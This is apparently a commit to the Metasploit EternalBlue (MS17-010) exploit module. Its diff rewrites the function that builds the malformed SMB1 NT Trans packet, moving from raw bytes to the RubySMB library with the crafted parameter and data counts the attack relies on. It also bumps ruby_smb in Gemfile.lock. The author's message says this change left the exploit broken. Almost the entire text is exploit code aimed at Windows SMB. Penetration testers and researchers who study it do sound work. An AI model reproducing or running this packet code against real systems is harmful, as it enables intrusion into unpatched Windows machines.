nttrans packet setup correctly,everything broken

got the nttrans packet setup correctly but somewhere
along the line i broke the whole exploit wtf?

Author: David Maloney

Gemfile.lock

@@ -90,7 +90,7 @@ PATH
 PATH
   remote: /Users/dmaloney/rapid7/ruby_smb
   specs:
-    ruby_smb (0.0.17)
+    ruby_smb (0.0.18)
       bindata
       rubyntlm
       windows_error

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -528,45 +528,38 @@ def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
   end
 
   def make_smb1_nt_trans_packet(tree_id, user_id)
-    pkt = ""
-    pkt << "\x00"                   # Session message
-    pkt << "\x00\x04\x38"           # length
-    pkt << "\xffSMB"                # SMB1
-    pkt << "\xa0"                   # NT Trans
-    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
-    pkt << "\x18"                   # Flags
-    pkt << "\x07\xc0"               # Flags2
-    pkt << "\x00\x00"               # PID High
-    pkt << "\x00\x00\x00\x00"       # Signature1
-    pkt << "\x00\x00\x00\x00"       # Signature2
-    pkt << "\x00\x00"               # Reserved
-    pkt << [tree_id].pack("S>")       # TreeID
-    pkt << "\xff\xfe"               # PID
-    pkt << [user_id].pack("S>")       # UserID
-    pkt << "\x40\x00"               # MultiplexID
-
-    pkt << "\x14"                   # Word Count
-    pkt << "\x01"                   # Max Setup Count
-    pkt << "\x00\x00"               # Reserved
-    pkt << "\x1e\x00\x00\x00"       # Total Param Count
-    pkt << "\xd0\x03\x01\x00"       # Total Data Count
-    pkt << "\x1e\x00\x00\x00"       # Max Param Count
-    pkt << "\x00\x00\x00\x00"       # Max Data Count
-    pkt << "\x1e\x00\x00\x00"       # Param Count
-    pkt << "\x4b\x00\x00\x00"       # Param Offset
-    pkt << "\xd0\x03\x00\x00"       # Data Count
-    pkt << "\x68\x00\x00\x00"       # Data Offset
-    pkt << "\x01"                   # Setup Count
-    pkt << "\x00\x00"               # Function <unknown>
-    pkt << "\x00\x00"               # Unknown NT transaction (0) setup
-    pkt << "\xec\x03"               # Byte Count
-    pkt << "\x00" * 0x1f            # NT Parameters
-
-    # undocumented
-    pkt << "\x01"
-    pkt << "\x00" * 0x3cd
-
-    pkt
+    packet = RubySMB::SMB1::Packet::NtTrans::Request.new
+
+    # Disable the automatic padding because it will distort
+    # our values here.
+    packet.data_block.enable_padding = false
+
+    packet.smb_header.flags2.read("\x07\xc0")
+    packet.smb_header.tid       = tree_id
+    packet.smb_header.uid       = user_id
+    packet.smb_header.pid_low   = 65279
+    packet.smb_header.mid       = 64
+
+    packet.parameter_block.max_setup_count       = 1
+    packet.parameter_block.total_parameter_count = 30
+    packet.parameter_block.total_data_count      = 66512
+    packet.parameter_block.max_parameter_count   = 30
+    packet.parameter_block.max_data_count        = 0
+    packet.parameter_block.parameter_count       = 30
+    packet.parameter_block.parameter_offset      = 75
+    packet.parameter_block.data_count            = 976
+    packet.parameter_block.data_offset           = 104
+    packet.parameter_block.function              = 0
+
+    packet.parameter_block.setup << 0x0000
+
+    packet.data_block.byte_count        = 1004
+    packet.data_block.trans2_parameters =  "\x00" * 31 + "\x01" + ( "\x00" * 973 )
+
+    nbss = [packet.do_num_bytes].pack('N')
+    raw_packet = packet.to_binary_s
+
+    nbss + raw_packet
   end
 
   def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)